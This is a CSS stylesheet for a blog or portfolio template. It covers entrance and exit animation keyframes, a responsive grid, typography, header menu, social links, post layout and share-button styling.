-webkit-transform-origin: center bottom; transform-origin: center bottom; -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomOutDown { -webkit-animation-name: zoomOutDown; animation-name: zoomOutDown; } @-webkit-keyframes zoomOutLeft { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0); } 100% { opacity: 0; -webkit-transform: scale(.1) translate3d(-2000px, 0, 0); transform: scale(.1) translate3d(-2000px, 0, 0); -webkit-transform-origin: left center; transform-origin: left center; } } @keyframes zoomOutLeft { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0); } 100% { opacity: 0; -webkit-transform: scale(.1) translate3d(-2000px, 0, 0); transform: scale(.1) translate3d(-2000px, 0, 0); -webkit-transform-origin: left center; transform-origin: left center; } } .zoomOutLeft { -webkit-animation-name: zoomOutLeft; animation-name: zoomOutLeft; } @-webkit-keyframes zoomOutRight { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0); } 100% { opacity: 0; -webkit-transform: scale(.1) translate3d(2000px, 0, 0); transform: scale(.1) translate3d(2000px, 0, 0); -webkit-transform-origin: right center; transform-origin: right center; } } @keyframes zoomOutRight { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0); } 100% { opacity: 0; -webkit-transform: scale(.1) translate3d(2000px, 0, 0); transform: scale(.1) translate3d(2000px, 0, 0); -webkit-transform-origin: right center; transform-origin: right center; } } .zoomOutRight { -webkit-animation-name: zoomOutRight; animation-name: zoomOutRight; } @-webkit-keyframes zoomOutUp { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 100% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); -webkit-transform-origin: center bottom; transform-origin: center bottom; -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomOutUp { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 100% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); -webkit-transform-origin: center bottom; transform-origin: center bottom; -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomOutUp { -webkit-animation-name: zoomOutUp; animation-name: zoomOutUp; } @-webkit-keyframes slideInDown { from { -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); visibility: visible; } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } @keyframes slideInDown { from { -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); visibility: visible; } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } .slideInDown { -webkit-animation-name: slideInDown; animation-name: slideInDown; } @-webkit-keyframes slideInLeft { from { -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); visibility: visible; } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } @keyframes slideInLeft { from { -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); visibility: visible; } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } .slideInLeft { -webkit-animation-name: slideInLeft; animation-name: slideInLeft; } @-webkit-keyframes slideInRight { from { -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); visibility: visible; } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } @keyframes slideInRight { from { -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); visibility: visible; } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } .slideInRight { -webkit-animation-name: slideInRight; animation-name: slideInRight; } @-webkit-keyframes slideInUp { from { -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); visibility: visible; } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } @keyframes slideInUp { from { -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); visibility: visible; } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } .slideInUp { -webkit-animation-name: slideInUp; animation-name: slideInUp; } @-webkit-keyframes slideOutDown { from { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 100% { visibility: hidden; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } } @keyframes slideOutDown { from { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 100% { visibility: hidden; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } } .slideOutDown { -webkit-animation-name: slideOutDown; animation-name: slideOutDown; } @-webkit-keyframes slideOutLeft { from { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 100% { visibility: hidden; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } } @keyframes slideOutLeft { from { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 100% { visibility: hidden; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } } .slideOutLeft { -webkit-animation-name: slideOutLeft; animation-name: slideOutLeft; } @-webkit-keyframes slideOutRight { from { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 100% { visibility: hidden; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } } @keyframes slideOutRight { from { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 100% { visibility: hidden; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } } .slideOutRight { -webkit-animation-name: slideOutRight; animation-name: slideOutRight; } @-webkit-keyframes slideOutUp { from { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 100% { visibility: hidden; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } } @keyframes slideOutUp { from { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 100% { visibility: hidden; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } } .slideOutUp { -webkit-animation-name: slideOutUp; animation-name: slideOutUp; }
82
83
84html{margin-right:0!important}
85body{margin:0;padding:0;border:none;font-family:'Poppins',helvetica;font-size:15px;color:#898989;background:#fff;line-height:20px;letter-spacing:.02em;font-weight:300}
86.page{position:relative;overflow:hidden}
87*{box-sizing:border-box;-webkit-box-sizing:border-box}
88.clear{clear:both}
89.nicescroll-rails{z-index:21!important}
90.container{position:relative}
91@media screen and (max-width: 720px) {
92.date-outer{width:100%!important}
93div#work{padding:20px!important}
94}
95.fw{margin:0 auto;position:relative;max-width:1160px}
96@media (max-width: 1079px) {
97.fw{padding:0 5%;max-width:100%}
98}
99.row{margin:0 -20px;padding:0 0 40px;position:relative}
100.row:last-child{padding:0}
101.row .col{padding:0 20px}
102.work .row .col{padding:0 3px}
103@media (min-width: 1080px) {
104.row .col.col-d-12,.row .col.col-d-11,.row .col.col-d-10,.row .col.col-d-9,.row .col.col-d-8,.row .col.col-d-7,.row .col.col-d-6,.row .col.col-d-5,.row .col.col-d-4,.row .col.col-d-3,.row .col.col-d-2,.row .col.col-d-1{float:left}
105.row .col.col-d-12{width:99.996%}
106.row .col.col-d-11{width:91.663%}
107.row .col.col-d-10{width:83.333%}
108.row .col.col-d-9{width:74.997%}
109.row .col.col-d-8{width:66.664%}
110.row .col.col-d-7{width:58.331%}
111.row .col.col-d-6{width:49.998%}
112.row .col.col-d-5{width:41.665%}
113.row .col.col-d-4{width:33.332%}
114.row .col.col-d-3{width:24.999%}
115.row .col.col-d-2{width:16.666%}
116.row .col.col-d-1{width:8.333%}
117}
118@media (max-width: 1079px) {
119.row .col.col-t-12,.row .col.col-t-11,.row .col.col-t-10,.row .col.col-t-9,.row .col.col-t-8,.row .col.col-t-7,.row .col.col-t-6,.row .col.col-t-5,.row .col.col-t-4,.row .col.col-t-3,.row .col.col-t-2,.row .col.col-t-1{float:left}
120.row .col.col-t-12{width:99.996%}
121.row .col.col-t-11{width:91.663%}
122.row .col.col-t-10{width:83.333%}
123.row .col.col-t-9{width:74.997%}
124.row .col.col-t-8{width:66.664%}
125.row .col.col-t-7{width:58.331%}
126.row .col.col-t-6{width:49.998%}
127.row .col.col-t-5{width:41.665%}
128.row .col.col-t-4{width:33.332%}
129.row .col.col-t-3{width:24.999%}
130.row .col.col-t-2{width:16.666%}
131.row .col.col-t-1{width:8.333%}
132}
133@media (max-width: 720px) {
134.row .col.col-m-12,.row .col.col-m-11,.row .col.col-m-10,.row .col.col-m-9,.row .col.col-m-8,.row .col.col-m-7,.row .col.col-m-6,.row .col.col-m-5,.row .col.col-m-4,.row .col.col-m-3,.row .col.col-m-2,.row .col.col-m-1{float:left}
135.row .col.col-m-12{width:99.996%}
136.row .col.col-m-11{width:91.663%}
137.row .col.col-m-10{width:83.333%}
138.row .col.col-m-9{width:74.997%}
139.row .col.col-m-8{width:66.664%}
140.row .col.col-m-7{width:58.331%}
141.row .col.col-m-6{width:49.998%}
142.row .col.col-m-5{width:41.665%}
143.row .col.col-m-4{width:33.332%}
144.row .col.col-m-3{width:24.999%}
145.row .col.col-m-2{width:16.666%}
146.row .col.col-m-1{width:8.333%}
147}
148.row:after{content:'';display:block;clear:both}
149h1,h2,h3,h4,h5,h6{margin:28px 0;font-weight:400;font-family:'Kaushan Script',helvetica;color:#292929}
150@media (max-width: 1079px) {
151h1,h2,h3,h4,h5,h6{margin:0 0 28px}
152}
153h1{font-size:44px;line-height:56px}
154@media (max-width: 1079px) {
155h1{font-size:34px;line-height:44px}
156}
157h2{font-size:38px;line-height:20px}
158@media (max-width: 1079px) {
159h2{font-size:28px;line-height:38px}
160}
161h3{font-size:34px;line-height:46px}
162@media (max-width: 1079px) {
163h3{font-size:24px;line-height:34px}
164}
165h4{font-size:30px;line-height:42px}
166@media (max-width: 1079px) {
167h4{font-size:22px;line-height:30px}
168}
169h5{font-size:26px;line-height:38px}
170@media (max-width: 1079px) {
171h5{font-size:18px;line-height:26px}
172}
173h6{font-size:22px;line-height:34px}
174@media (max-width: 1079px) {
175h6{font-size:14px;line-height:22px}
176}
177p{margin:25px 0;padding:0;font-size:15px;color:#999;line-height:28px}
178@media (max-width: 1079px) {
179p{font-size:12px;line-height:24px}
180}
181strong{font-weight:500;color:#292929}
182a{color:#292929;text-decoration:none;opacity:1;outline:none}
183a:hover{text-decoration:none}
184a.btn,.btn{padding:2px 0 0;display:inline-block;vertical-align:top;font-size:12px;color:#292929;letter-spacing:.2em;font-weight:500;line-height:12px;text-transform:uppercase;cursor:pointer;box-shadow:inset 0 -6px 0 #ede574;-moz-box-shadow:inset 0 -6px 0 #ede574;-webkit-box-shadow:inset 0 -6px 0 #ede574;-khtml-box-shadow:inset 0 -6px 0 #ede574;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0}
185a.btn:hover,.btn:hover{box-shadow:inset 0 -14px 0 #ede574;-moz-box-shadow:inset 0 -14px 0 #ede574;-webkit-box-shadow:inset 0 -14px 0 #ede574;-khtml-box-shadow:inset 0 -14px 0 #ede574}
186.preloader{position:fixed;top:0;left:0;width:100%;height:100%;text-align:center;background:#fff;z-index:99999}
187.preloader .spinner{width:40px;height:40px;display:inline-block;position:relative}
188.preloader .spinner .double-bounce1,.preloader .spinner .double-bounce2{width:100%;height:100%;background:#ede574;opacity:.8;position:absolute;top:0;left:0;-webkit-animation:sk-bounce 2s infinite ease-in-out;animation:sk-bounce 2s infinite ease-in-out;border-radius:50%;-moz-border-radius:50%;-webkit-border-radius:50%;-khtml-border-radius:50%}
189.preloader .spinner .double-bounce2{-webkit-animation-delay:-1s;animation-delay:-1s}
190input,textarea,button{margin:0 0 25px;padding:0;display:block;width:100%;height:48px;font-size:13px;color:#292929;letter-spacing:-.045em;font-weight:500;-webkit-appearance:none;-moz-appearance:none;resize:none;outline:0;background:none;border:none;border-bottom:1px solid rgba(0,0,0,0.1);transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0}
191input:focus,textarea:focus,button:focus{color:#292929;border-bottom:1px solid #292929}
192textarea{margin:0 0 35px;padding:20px 0;height:120px} button{width:auto;display:inline-block;vertical-align:top;border:none;cursor:pointer} label,legend{display:block;padding-bottom:10px;font-family:'Poppins',helvetica;font-size:15px} fieldset{border-width:0;padding:0} input[type="checkbox"],input[type="radio"]{display:inline}
193::-webkit-input-placeholder{color:#898989}
194:-moz-placeholder{color:#898989}
195::-moz-placeholder{color:#898989}
196:-ms-input-placeholder{color:#898989}
197input:focus::-webkit-input-placeholder,textarea:focus::-webkit-input-placeholder{color:#292929}
198input:focus:-moz-placeholder,textarea:focus:-moz-placeholder{color:#292929}
199input:focus::-moz-placeholder,textarea:focus::-moz-placeholder{color:#292929}
200input:focus:-ms-input-placeholder,textarea:focus:-ms-input-placeholder{color:#292929}
201label.error{display:none!important}
202input.error::-moz-placeholder,textarea.error::-moz-placeholder{color:red}
203input.error:-moz-placeholder,textarea.error:-moz-placeholder{color:red}
204input.error:-ms-input-placeholder,textarea.error:-ms-input-placeholder{color:red}
205input.error::-webkit-input-placeholder,textarea.error::-webkit-input-placeholder{color:red}
206ol,ul{list-style:none;margin-top:0;margin-bottom:0;padding-left:0}
207ul ul,ul ol,ol ol,ol ul{margin-bottom:0}
208li{margin-bottom:0}
209code{background:#f9f9f9;font-size:16px;font-family:'Poppins',helvetica;margin:20px 0;padding:10px 20px}
210table{width:100%;margin:30px 0;padding:0;border-collapse:collapse}
211th{font-weight:500;border:none;border-bottom:1px solid #f9f9f9;color:#292929;padding:12px 15px;text-align:left}
212td{border:none;border-bottom:1px solid #f9f9f9;padding:12px 15px;text-align:left;color:#898989}
213.align-center{text-align:center!important}
214.align-right{text-align:right!important}
215.align-left{text-align:left!important}
216.pull-right{float:right!important}
217.pull-left{float:left!important}
218.pull-none{float:none!important}
219.full-width{max-width:100%!important;width:100%!important}
220.full-max-width{max-width:100%!important;width:auto!important}
221.centrize{display:table!important;table-layout:fixed!important;height:100%!important;position:relative!important}
222.vertical-center{display:table-cell!important;vertical-align:middle!important}
223.text-uppercase{text-transform:uppercase!important}
224.text-lowercase{text-transform:lowercase!important}
225.text-capitalize{text-transform:capitalize!important}
226.text-regular{font-weight:400!important}
227.text-bold{font-weight:700!important}
228.text-italic{font-style:italic!important}
229blockquote{font-family:'Poppins',helvetica}
230@keyframes mouse-anim {
2310%{top:0}
23250%{top:10px}
233100%{top:0}
234}
235.ct-wrapper{padding:0 20px;position:relative;max-width:1230px;margin:0 auto}
236.sidebar-wrapper{width:310px!important;padding:0;float:right;margin:-5px 0 40px}
237body#layout .header-wrapper{margin-top:40px}
238body#layout #header,body#layout .header-right{width:50%}
239body#layout .outer-wrapper,body#layout .sidebar-wrapper,body#layout .ct-wrapper{margin:0;padding:0}
240body#layout .footer.section{float:left;width:33%}
241.header{padding:20px 35px;position:fixed;top:0;left:0;width:100%;z-index:9999;opacity:1;visibility:visible;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0}
242.logo{margin-top:-25px}
243.header:before{content:'';position:absolute;top:0;left:0;right:0;width:100%;height:100%;background:linear-gradient(to bottom,rgba(0,0,0,0.6) 0,rgba(0,0,0,0) 100%)}
244.header .logo h1{position:relative;float:left;font-family:'Kaushan Script',helvetica;font-size:32px;line-height:normal;font-weight:600;color:#fff;margin:0;width:50%}
245div#header1{padding:0;position:inherit!important}
246.header .menu-btn{margin-top:10px;position:relative;float:right;display:none;width:24px;height:24px;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0}
247@media (max-width: 1079px) {
248.header .menu-btn{display:block}
249}
250.header .menu-btn span{margin-top:-1px;position:absolute;top:50%;left:0;width:100%;height:2px;background:#fff;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0}
251.header .menu-btn span:before,.header .menu-btn span:after{content:'';position:absolute;left:0;top:-8px;width:100%;height:2px;background:#fff;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0}
252.header .menu-btn span:after{top:auto;bottom:-8px}
253.header .menu-btn.active{margin-right:0;z-index:99999}
254.header .menu-btn.active span:before{content:'';position:absolute;left:0;top:-8px;width:100%;height:2px;background:#000;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0}
255.header .menu-btn.active span:after{content:'';position:absolute;left:0;top:-1px;width:100%;height:2px;background:#000;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0}
256.header .menu-btn.active span{background:none!important}
257.header .menu-btn.active span:before{top:0;transform:rotate(45deg);-webkit-transform:rotate(45deg);-moz-transform:rotate(45deg);-o-transform:rotate(45deg)}
258.header .menu-btn.active span:after{bottom:0;transform:rotate(-45deg);-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);-o-transform:rotate(-45deg)}
259.header.filled .top-menu ul li a,.header.filled .logo h1{color:#000}
260.header .top-menu{float:right;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0;margin-top:17px}
261.header .top-menu.active{right:0;display:block!important}
262.header .top-menu ul li{margin-left:40px;padding-top:0;display:inline-block;vertical-align:top}
263.header .top-menu ul li a{padding:2px 0 0;position:relative;display:block;font-size:12px;color:#fff;letter-spacing:.1em;font-weight:500;line-height:14px;text-transform:uppercase;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0;box-shadow:inset 0 0 0 #fff;-moz-box-shadow:inset 0 0 0 #fff;-webkit-box-shadow:inset 0 0 0 #fff;-khtml-box-shadow:inset 0 0 0 #fff}
264.header .top-menu ul li:hover a,.header .top-menu ul li.active a{color:#000;box-shadow:inset 0 -15px 0 #fff;-moz-box-shadow:inset 0 -15px 0 #fff;-webkit-box-shadow:inset 0 -14px 0 #fff;-khtml-box-shadow:inset 0 -15px 0 #fff}
265@media (max-width: 1079px) {
266.header .top-menu{padding:60px 30px;position:fixed;top:0;right:-230px;width:230px;height:100%;background:#fff;margin-top:0}
267.header .top-menu ul li:hover a,.header .top-menu ul li.active a{color:#fff;box-shadow:inset 0 -15px 0 #fff;-moz-box-shadow:inset 0 -15px 0 #fff;-webkit-box-shadow:inset 0 -14px 0 #000;-khtml-box-shadow:inset 0 -15px 0 #fff}
268.header .top-menu ul li{margin-left:0;margin-bottom:15px;display:block}
269.header .top-menu ul li a{padding:2px 0 0;position:relative;display:block;font-size:12px;color:#000;letter-spacing:.1em;font-weight:500;line-height:14px;text-transform:uppercase;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0;box-shadow:inset 0 0 0 #fff;-moz-box-shadow:inset 0 0 0 #fff;-webkit-box-shadow:inset 0 0 0 #fff;-khtml-box-shadow:inset 0 0 0 #fff}
270.header .top-menu .close{display:block}
271}
272.header.filled{padding:20px 35px;background:#fff;box-shadow:0 25px 50px rgba(0,0,0,0.045);-moz-box-shadow:0 25px 50px rgba(0,0,0,0.045);-webkit-box-shadow:0 25px 50px rgba(0,0,0,0.045);-khtml-box-shadow:0 25px 50px rgba(0,0,0,0.045)}
273.header.filled:before{opacity:0}
274.header.filled .logo a{color:#292929}
275.header.filled .menu-btn span{background:#292929}
276.header.filled .menu-btn span:before,.header.filled .menu-btn span:after{background:#292929}
277.header.filled .top-menu{display:block}
278.section{padding:60px 0;position:relative}
279.work .section{padding:0}
280@media (max-width: 720px) {
281.section{padding:40px 0}
282}
283.section.gray{background:#f9f9f9}
284.section .titles .title{font-family:'Kaushan Script',helvetica;color:#292929;font-size:30px;line-height:40px;font-weight:400}
285@media (max-width: 1079px) {
286.section .titles .title{font-size:28px}
287}
288.section.started{padding:0;background:#292929}
289.section.started .slide{position:absolute;top:0;left:0;width:100%;height:100%;background-position:center center;background-repeat:no-repeat;background-size:cover}
290.section.started .st-title,.section.started .typed-title{position:relative;margin:30px 50px 15px;font-size:100px;line-height:100px;color:#fff;font-weight:600;letter-spacing:-.045em;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0}
291.section.started .st-title p,.section.started .typed-title p{margin:0}
292.section.started .typed-cursor{display:none}
293.section.started .socials{margin:0 50px}
294.section.started .socials a{margin:0;border:none}
295.section.started .socials a .icon{color:#fff}
296.section.started .socials a:hover{border:none;opacity:.6}
297.section.started .socials a:hover .icon{color:#fff}
298.section.started .mouse-btn{margin-left:-10px;text-align:center;position:absolute;width:20px;height:40px;left:50%;bottom:40px}
299.section.started .mouse-btn .icon{position:relative;top:0;font-size:24px;color:#fff;animation:mouse-anim 1s ease-out 0 infinite}
300@media (max-width: 1080px) {
301.section.started .st-title,.section.started .typed-title{margin-left:20px;margin-right:20px;font-size:86px;line-height:86px}
302}
303@media (max-width: 720px) {
304.section.started .st-title,.section.started .typed-title{margin-left:5px;margin-right:5px;font-size:44px;line-height:44px}
305.section.started .socials{margin:0}
306.section.started .socials a{width:38px;height:38px;line-height:36px}
307}
308.socials{position:relative;margin:0 0 20px;text-align:center}
309.socials a{margin:0 6px;position:relative;display:inline-block;vertical-align:top;overflow:hidden;width:42px;height:42px;line-height:40px;text-align:center;border:1px solid #ccc;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0;border-radius:42px;-moz-border-radius:42px;-webkit-border-radius:42px;-khtml-border-radius:42px}
310.socials a .icon{font-size:18px;color:#292929;transition:all .4s ease 0;-moz-transition:all .4s ease 0;-webkit-transition:all .4s ease 0;-o-transition:all .4s ease 0}
311.socials a:hover{border:1px solid #292929}
312.socials a:hover .icon{color:#292929}
313.section.about .profile img{width:100%;display:block}
314@media (max-width: 1079px) {
315.section.about h1{font-size:40px;line-height:50px}
316.section.about br{display:none}
317}
318@media (max-width: 480px) {
319.section.about .profile{margin-bottom:25px}
320.section.about h1{font-size:30px;line-height:40px}
321}
322.section.services .service-item{margin-top:25px}
323.section.services .service-item .circle{height:48px}
324.section.services .service-item .circle .icon{font-size:44px;line-height:48px;color:#292929}
325.section.services .service-item .name{margin:10px 0;position:relative;font-size:13px;color:#292929;letter-spacing:.1em;font-weight:500;text-transform:uppercase}
326.section.services .service-item p{margin:0;font-size:13px;line-height:22px}
327.first_post_img{width:100%}
328.big_post_image{margin:-5px -20px}
329.hero .tc-title{width:100%}
330.tc_name_title h4{text-transform:uppercase}
331.tc_name_title{padding:0;margin-bottom:15px}
332.post{margin:20px 0 0;padding:0 3% 20px}
333.post-title{text-decoration:none;font-size:30px;line-height:normal;padding:0 0 10px}
334.post-title a{text-decoration:none;color:#000}
335.post-body{font-size:16px;font-weight:400;padding:0;margin:0;line-height:29px;word-wrap:break-word}
336.post-header{color:#999;font-family:Verdana,Arial,Tahoma,sans-serif;font-size:12px}
337.category-title{margin-bottom:10px!important;text-align:center;padding-top:30px}
338.aisa-btn{font-size:14px;color:#2196f3}
339.aisa-btn a:nth-child(n+2){display:none!important}
340.aisa-publish{padding-bottom:20px;padding-top:5px;text-transform:uppercase;text-align:center}
341.aisa-publish ul{margin:0!important}
342.aisa-publish li{display:inline-block;font-size:12px;list-style:disc;list-style-position:outside;margin:4.5px 0;color:#555;letter-spacing:.3px;margin-bottom:0!important}
343.aisa-publish li a{color:#555}
344#post-tags{float:left;margin-top:5px}
345#tags-name{display:block;float:left;color:#b8b8b8;margin-right:8px;font-family:'Roboto Condensed',sans-serif;font-size:14px;font-weight:700;line-height:24px;text-transform:uppercase}
346#post-tags a{display:block;height:24px;color:#fff;float:left;padding:0 8px;margin-right:3px;border-radius:24px;background-color:#dadada;font-size:11px;font-weight:500;line-height:25px;text-transform:uppercase;transition:background .3s}
347#post-tags a:hover{background-color:#222}
348li.meta-post-label a:nth-child(n+2){display:none}
349span#post-tags a:nth-child(n+4){display:none}
350.post-footer{width:100%;display:inline-block;border-top:1px solid #eee;padding-top:20px;padding-bottom:22px;margin-top:20px}
351.status-msg-wrap{text-align:center;padding:17px;color:#6f6b6b;margin-bottom:25px;text-transform:capitalize;border:1px solid #ddd}
352.status-msg-border{display:none}
353#related-header{margin-bottom:28px;font-size:20px;font-weight:700;text-transform:uppercase}
354#related-posts{margin-right:-24px}
355.related-post{width:240px;float:left;margin-right:15px;list-style-type:none}
356.related-post .post-thumb{width:245px;margin-bottom:10px}
357.related-post .cat-ribbon{top:120px}
358.related-post .format-icon{left:103px;top:59px}
359.related-post .post-title{margin-bottom:10px;letter-spacing:1px;text-align:center;text-transform:uppercase;font-family:Open Sans;font-weight:500}
360.related-post .post-divider{margin-top:8px;margin-bottom:0}
361.single-share{float:right}
362.single-share li{float:left;margin-left:5px;background:#000;width:50px;overflow:hidden;border-radius:34px;height:31px;text-align:center;list-style-type:none;transition:.3s width;line-height:30px}
363.single-share li .fa{margin:0 0 10px;transition:.2s;font-weight:100}
364.single-share li:hover{width:100px}
365.single-share li a{color:#fff}
366.single-share li a span{color:#fff;font-weight:500;margin-left:5px;transition:.2s ease-in-out}
367.single-share li:nth-child(1){background:#40bff4}
368.single-share li:nth-child(2){background:#5c82d0}
369.single-share li:nth-child(3){background:#ea5d4b}
370.single-share li:nth-child(4){background:#e03037}
371.work .item{margin-top:5px;position:relative;height:280px;overflow:hidden;background:#000;cursor:pointer}
372.work .item img{width:100%;height:275px;-webkit-transition:all .25s ease-out;transition:all .25s ease-out;object-fit:cover;position:relative;opacity:.8}
373.item a.readmore{position:absolute;left:0;right:0;text-align:center;bottom:-30px;font-size:12px;color:#fff;font-family:Open Sans;font-weight:700;transform:scale(0);transition:.2s;z-index:999;display:inline-block}
374.item a.readmore:before{content:"";background:#222;width:200px;height:30px;display:block;text-align:center;margin:0 auto;bottom:-28px;position:relative;z-index:-1}
375.item:hover a.readmore{bottom:15px;transform:scale(1)}
376.item:hover .viframe{opacity:.3!important}
377iframe.viframe{opacity:.7;transition:.2s;height:275px;width:100%}
378.item a.electo{padding:2em 0;color:#fff;text-transform:uppercase;font-size:1.25em;backface-visibility:hidden;position:absolute;top:0;left:0;width:100%;height:100%;overflow:hidden}
379.date-outer .item img{-webkit-transition:opacity .35s,-webkit-transform .35s;transition:opacity .35s,transform .35s;-webkit-transform:scale(1.12);transform:scale(1.12)}
380.date-outer .item:hover img{opacity:.4;-webkit-transform:scale(1);transform:scale(1.1)}
381.date-outer.col-md-4.col-sm-4{padding:1px 3px}
382.date-outer .item a.electo::before{position:absolute;top:13px;right:17px;bottom:13px;left:17px;border:1px solid #222;content:''}
383.date-outer .item a.electo::before,.date-outer .item h2{opacity:0;-webkit-transition:opacity .35s,-webkit-transform .35s;transition:opacity .35s,transform .35s}
384.date-outer .item a.electo h2{padding:18% 0 20px;text-align:center;font-size:12px;margin:0 auto;max-width:205px;-webkit-transform:scale(1.5);transform:scale(1.5);font-family:"Raleway",sans-serif;color:#fff}
385.date-outer .item:hover a.electo::before,.date-outer .item:hover h2{opacity:1;-webkit-transform:scale(1);transform:scale(1)}
386.item .fluid-width-video-wrapper{padding-top:77%!important}
387.post{margin:20px 0 0;padding:0 3% 20px}
388.post-title.entry-title{margin:0;color:#222;font-size:26px;font-family:"Playfair Display",Arial,sans-serif;font-style:normal;text-align:center;font-weight:400}
389.post-title a{text-decoration:none;color:#000}
390.post-body{letter-spacing:.4px;font-family:"Open Sans",Arial,sans-serif;font-size:15px;font-style:normal;font-weight:400;line-height:26px;color:#666;word-wrap:break-word;word-break:break-word}
391.tloader{width:100%;position:relative;z-index:90;text-align:center;display:inline-block;margin:60px 0}
392.loadmore a{padding:5px 30px;display:inline-block;border-radius:60px;font-size:13px;color:#333;border:3px solid #333;font-weight:700;text-transform:uppercase;font-family:Open Sans}
393.loadmore a i{margin-right:5px}
394.loadmore{text-align:center;margin:20px 0;width:100%;display:inline-block}
395.loadmore a:hover{background:#333;color:#fff;box-shadow:0 0 10px rgba(51,51,51,0.67)}
396.aisa-author{background:#fff;padding:25px;border-top:30px solid #f7f7f7;border-bottom:30px solid #f7f7f7;margin:0 -30px}
397.aisa-author .author-avatar{width:116px;padding:20px 0;float:left}
